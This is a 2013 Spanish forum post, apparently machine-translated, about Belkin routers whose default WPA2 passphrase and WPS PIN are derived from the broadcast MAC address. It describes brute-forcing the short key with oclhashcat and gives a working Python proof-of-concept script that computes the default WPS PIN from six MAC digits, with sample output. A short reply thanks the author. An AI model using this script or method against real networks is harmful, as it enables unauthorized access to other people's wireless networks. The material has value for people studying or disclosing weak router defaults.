Cracking WPS: Routers Belkin vulnerables

Publicado por D3M0N, 01 de Enero de 2013, 11:44:39 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

D3M0N


Sin embargo, en el caso de Belkin la contraseña por defecto se calcula únicamente sobre la base de la dirección MAC del dispositivo. Desde la dirección MAC se transmite con las tramas de señalización enviados por el dispositivo, un atacante inalámbrico se puede calcular el valor por defecto contraseña y luego conectarse a la red inalámbrica.

Cada uno de los ocho personajes de la frase de contraseña por defecto se crean mediante la sustitución de la correspondiente hex dígitos de la dirección MAC de la WAN utilizando una tabla de sustitución estática. Ya que la dirección MAC de la WAN es la dirección MAC de la WLAN + uno o dos (según el modelo), un atacante puede adivinar fácilmente sin hilos de la dirección MAC de WAN del dispositivo y así calcular el valor predeterminado WPA2 passphrase.

Por otra parte, el valor predeterminado WPA2-PSK sólo se compone de 8 dígitos hexadecimales, lo que significa que la entropía se limita a sólo 32 bits (o 33 bits, ya que algunos modelos de uso de mayúsculas dígitos hexadecimales). Después de olfatear una asociación exitosa de un cliente para la red inalámbrica, un atacante puede realizar una conexión ataque de fuerza bruta para romper la clave. El programa oclhashcat-plus puede tratar de 131.000 contraseñas por segundo en un extremo alto GPU (AMD Radeon hd7970)

Sin embargo, podemos usar otra obra de un hombre chino que descubrió un truco interesante con los procesadores de WPS. Así que podemos generar los pins WPS para routers de Belkin. Por ejemplo,


Sabemos que la dirección MAC es pública, por lo que podemos extraer el pasador WPS por defecto utilizando los últimos 6 dígitos de la dirección MAC después de este paso:

Código: php
# python WPSBelkinGEN.py 51990C
[+] WPS pin is : 53475961


Probablemente la mayoría de los routers pueden ser Vulnerables como manufacturers. Si bien pueden tener otra forma de obtener el mismo.

En este momento sólo esta versión es vulnerable es el Modelo: F9K1104v1

Aquí tenemos un sencillo PoC con un script en Python:

Código: php
'''
Created on Dec 9, 2012

@author       : e.novellalorente@student.ru.nl
Original work : ZhaoChunsheng 04/07/2012

'''

import sys

VERSION    = 0
SUBVERSION = 2

def usage():
    print "[+] WPSpin %d.%d " % (VERSION, SUBVERSION)
    print "[*] Usage : python WPSpin.py 123456"
    sys.exit(0)

def wps_pin_checksum(pin):
    accum = 0

    while(pin):
        accum += 3 * (pin % 10)
        pin /= 10
        accum += pin % 10
        pin /= 10
    return  (10 - accum % 10) % 10

try:
    if (len(sys.argv[1]) == 6):
        p = int(sys.argv[1] , 16) % 10000000
        print "[+] WPS pin is : %07d%d" % (p, wps_pin_checksum(p))
    else:
        usage()
except Exception:
    usage()

chacosago

Buena info. Habría que pulir un poco el texto, se nota mucho google translator. Muchas gracias.